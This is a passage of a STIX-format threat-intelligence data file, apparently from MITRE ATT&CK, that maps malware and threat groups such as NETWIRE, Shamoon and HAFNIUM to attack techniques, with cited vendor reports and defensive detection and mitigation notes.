Geofenced NetWire Campaigns. Retrieved January 7, 2021."}], "modified": "2021-01-12T18:29:41.841Z", "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can collect the IP address of a compromised host.(Citation: Red Canary NETWIRE January 2020)(Citation: Proofpoint NETWIRE December 2020)", "relationship_type": "uses", "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d2b0a7e2-6822-4583-985c-f3c58c93ebad", "type": "relationship", "created": "2022-03-30T14:26:51.845Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.845Z", "description": "Monitor for newly constructed files written to disk to gain access to a system through a user visiting a website over the normal course of browsing.", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d2b3e3e2-9b1b-4d6e-a833-73fd9cc6394c", "type": "relationship", "created": "2022-03-30T14:26:51.870Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.870Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). ", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d2b70f03-3c52-4bf9-b545-7b912348f55e", "type": "relationship", "created": "2020-11-12T17:12:38.337Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Brazilian Banking Malware July 2020", "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}, {"source_name": "ESET Grandoreiro April 2020", "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}], "modified": "2020-12-09T19:12:40.285Z", "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can use a DGA for hiding C2 addresses, including use of an algorithm with a user-specific key that changes daily.(Citation: Securelist Brazilian Banking Malware July 2020)(Citation: ESET Grandoreiro April 2020)", "relationship_type": "uses", "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", "target_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d2bb226a-810d-47ea-be8d-397b9dd94031", "type": "relationship", "created": "2020-02-17T13:20:02.698Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-02-15T19:29:57.585Z", "description": "Organizations may consider weighing the risk of storing credentials in web browsers. If web browser credential disclosure is a significant concern, technical controls, policy, and user training may be used to prevent storage of credentials in web browsers.", "relationship_type": "mitigates", "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d2bc1c1b-987b-4a1a-b488-8199f8113697", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Daserf Nov 2017", "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.", "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"}, {"source_name": "Secureworks BRONZE BUTLER Oct 2017", "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"}], "modified": "2020-03-16T16:40:40.468Z", "description": "[Daserf](https://attack.mitre.org/software/S0187) can log keystrokes.(Citation: Trend Micro Daserf Nov 2017)(Citation: Secureworks BRONZE BUTLER Oct 2017)", "relationship_type": "uses", "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d2bc4516-c074-4d44-9931-07ab518de60a", "type": "relationship", "created": "2020-08-24T14:27:37.469Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET PipeMon May 2020", "url": "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/", "description": "Tartare, M. et al. (2020, May 21). No \u201cGame over\u201d for the Winnti Group. Retrieved August 24, 2020."}], "modified": "2020-08-24T14:27:37.469Z", "description": "[PipeMon](https://attack.mitre.org/software/S0501) can decrypt password-protected executables.(Citation: ESET PipeMon May 2020)", "relationship_type": "uses", "source_ref": "malware--8393dac0-0583-456a-9372-fd81691bca20", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d2c3b075-5299-42e5-95de-8248dc0da551", "type": "relationship", "created": "2019-03-13T17:10:01.761Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT33 Guardrail", "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."}], "modified": "2019-06-28T15:05:33.932Z", "description": "(Citation: FireEye APT33 Guardrail)", "relationship_type": "uses", "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", "target_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d2cf553c-b2a3-4599-9cb8-4722eb1b1293", "type": "relationship", "created": "2021-06-10T14:58:56.715Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Kimsuky June 2021", "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/", "description": "Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}], "modified": "2021-10-14T23:17:58.874Z", "description": "[AppleSeed](https://attack.mitre.org/software/S0622) can achieve execution through users running malicious file attachments distributed via email.(Citation: Malwarebytes Kimsuky June 2021)", "relationship_type": "uses", "source_ref": "malware--295721d2-ee20-4fa3-ade3-37f4146b4570", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d2d11e48-91f9-4ebf-82b7-c194c0bee9b5", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Gazer Aug 2017", "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"}], "modified": "2020-03-20T21:54:45.567Z", "description": "[Gazer](https://attack.mitre.org/software/S0168) stores configuration items in alternate data streams (ADSs) if the Registry is not accessible.(Citation: ESET Gazer Aug 2017)", "relationship_type": "uses", "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", "target_ref": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d2d6a912-c758-4d2a-aaef-1c36ec30e1cc", "type": "relationship", "created": "2022-03-30T14:26:51.866Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.866Z", "description": "Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.", "source_ref": "x-mitre-data-component--45d0ff14-b9c4-41f5-8603-156657c20b75", "target_ref": "attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d2d8c9da-0ba9-4136-8db5-a9c03e5bc4ba", "type": "relationship", "created": "2022-03-30T14:26:51.877Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.877Z", "description": "Malicious XDG autostart entries may be detected by auditing file modification events within the <code>/etc/xdg/autostart</code> and <code>~/.config/autostart</code> directories. Depending on individual configurations, defenders may need to query the environment variables <code>$XDG_CONFIG_HOME</code> or <code>$XDG_CONFIG_DIRS</code> to determine the paths of Autostart entries. Autostart entry files not associated with legitimate packages may be considered suspicious. Suspicious entries can also be identified by comparing entries to a trusted system baseline.", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d2d98eeb-4ebd-4db5-adf8-2a737306b17f", "type": "relationship", "created": "2021-03-08T13:53:09.890Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b", "description": "USG. (2020, May 12). MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."}], "modified": "2021-03-15T17:16:08.966Z", "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can randomly pick one of five hard-coded IP addresses for C2 communication; if one of the IP fails, it will wait 60 seconds and then try another IP address.(Citation: CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020)", "relationship_type": "uses", "source_ref": "malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152", "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d2d9a619-4379-4e15-9115-40ca9209f316", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Dragonfly", "description": "Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", "url": "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"}], "modified": "2020-03-17T16:17:38.058Z", "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) collects the current username from the victim.(Citation: Symantec Dragonfly)", "relationship_type": "uses", "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d2ddc824-b2d8-46b8-9f75-d592357620db", "created": "2022-03-30T14:26:51.864Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-14T15:50:43.259Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). Network Analysis frameworks such as Zeek can be used to capture, decode, and alert on network protocols including RDP.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d2ea2645-1940-4776-a874-09309f75636a", "type": "relationship", "created": "2021-04-07T15:19:28.661Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ATT Sidewinder January 2021", "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", "description": "Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."}, {"source_name": "Rewterz Sidewinder APT April 2020", "url": "https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis", "description": "Rewterz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021."}, {"source_name": "Rewterz Sidewinder COVID-19 June 2020", "url": "https://www.rewterz.com/articles/analysis-on-sidewinder-apt-group-covid-19", "description": "Rewterz. (2020, June 22). Analysis on Sidewinder APT Group \u2013 COVID-19. Retrieved January 29, 2021."}, {"source_name": "Cyble Sidewinder September 2020", "url": "https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/", "description": "Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021."}], "modified": "2021-07-21T12:24:09.318Z", "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has lured targets to click on malicious links to gain execution in the target environment.(Citation: ATT Sidewinder January 2021)(Citation: Rewterz Sidewinder APT April 2020)(Citation: Rewterz Sidewinder COVID-19 June 2020)(Citation: Cyble Sidewinder September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d2edfaee-154b-4566-b85c-740e591477d9", "created": "2023-03-06T21:23:26.100Z", "revoked": false, "external_references": [{"source_name": "Volexity Exchange Marauder March 2021", "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.", "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-06T21:23:26.101Z", "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has granted privileges to domain accounts.(Citation: Volexity Exchange Marauder March 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d2ef2109-c65f-452b-bb5b-dd06d1b16602", "type": "relationship", "created": "2020-05-12T21:56:32.981Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FOX-IT May 2016 Mofang", "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf", "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}], "modified": "2020-05-27T23:35:41.301Z", "description": "[ShimRat](https://attack.mitre.org/software/S0444) can enumerate connected drives for infected host machines.(Citation: FOX-IT May 2016 Mofang)", "relationship_type": "uses", "source_ref": "malware--5763217a-05b6-4edd-9bca-057e47b5e403", "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d2f19ee3-8e1c-46e4-b803-e8b3fa36f62e", "type": "relationship", "created": "2021-12-06T19:48:35.268Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT TA18-074A", "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"}], "modified": "2021-12-06T20:45:13.824Z", "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) has identified and browsed file servers in the victim network, sometimes , viewing files pertaining to ICS or Supervisory Control and Data Acquisition (SCADA) systems.(Citation: US-CERT TA18-074A)", "relationship_type": "uses", "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d2f6b3a1-adcb-4afb-9807-8ae58e6ac340", "type": "relationship", "created": "2022-03-30T14:26:51.863Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.863Z", "description": "Monitor process API calls to <code>AddPrintProcessor</code> and <code>GetPrintProcessorDirectory</code>.", "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "target_ref": "attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d2f6e1bf-49ae-48cb-a919-b556f8cd0553", "type": "relationship", "created": "2019-01-29T19:55:48.263Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/the-epic-turla-operation/65545/", "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", "source_name": "Kaspersky Turla"}], "modified": "2019-07-26T16:10:42.950Z", "description": "[Epic](https://attack.mitre.org/software/S0091) searches for anti-malware services running on the victim\u2019s machine and terminates itself if it finds them.(Citation: Kaspersky Turla)", "relationship_type": "uses", "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d2fa2382-dcfc-4cff-969b-2b5ec12dc406", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ClearSky Wilted Tulip July 2017", "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"}], "modified": "2020-03-19T22:00:22.544Z", "description": "After creating a new service for persistence, [TDTESS](https://attack.mitre.org/software/S0164) sets the file creation time for the service to the creation time of the victim's legitimate svchost.exe file.(Citation: ClearSky Wilted Tulip July 2017)", "relationship_type": "uses", "source_ref": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a", "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d2fa6899-2529-45b1-86bf-f2c5475a2ea6", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto Sofacy 06-2018", "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"}, {"source_name": "Unit42 Cannon Nov 2018", "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/", "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018."}, {"description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/", "source_name": "Securelist Sofacy Feb 2018"}, {"source_name": "Unit42 Sofacy Dec 2018", "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/", "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019."}, {"source_name": "ESET Zebrocy May 2019", "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/", "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."}], "modified": "2020-03-20T16:37:06.660Z", "description": "(Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: ESET Zebrocy May 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d2ff2c76-04ed-41c4-bd35-75f7cf823aee", "type": "relationship", "created": "2020-06-15T14:22:33.868Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.", "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/", "source_name": "Unit 42 Shamoon3 2018"}, {"source_name": "McAfee Shamoon December 2018", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-returns-to-wipe-systems-in-middle-east-europe/", "description": "Mundo, A., Roccia, T., Saavedra-Morales, J., Beek, C.. (2018, December 14). Shamoon Returns to Wipe Systems in Middle East, Europe . Retrieved May 29, 2020."}], "modified": "2020-06-15T14:22:33.868Z", "description": "[Shamoon](https://attack.mitre.org/software/S0140) will reboot the infected system once the wiping functionality has been completed.(Citation: Unit 42 Shamoon3 2018)(Citation: McAfee Shamoon December 2018)\t", "relationship_type": "uses", "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", "target_ref": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d30d8fa0-7f24-41e5-ae8d-e4449e88d2f0", "type": "relationship", "created": "2017-05-31T21:33:27.080Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto Gamaredon Feb 2017", "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"}, {"source_name": "ESET Gamaredon June 2020", "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/", "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."}], "modified": "2020-06-22T17:54:15.755Z", "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) tools have contained an application to check performance of USB flash drives. [Gamaredon Group](https://attack.mitre.org/groups/G0047) has also used malware to scan for removable drives.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: ESET Gamaredon June 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d3102278-dab8-485c-9cd2-52f80c4da8bd", "type": "relationship", "created": "2021-02-10T18:41:29.200Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Ebury Oct 2017", "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/", "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021."}], "modified": 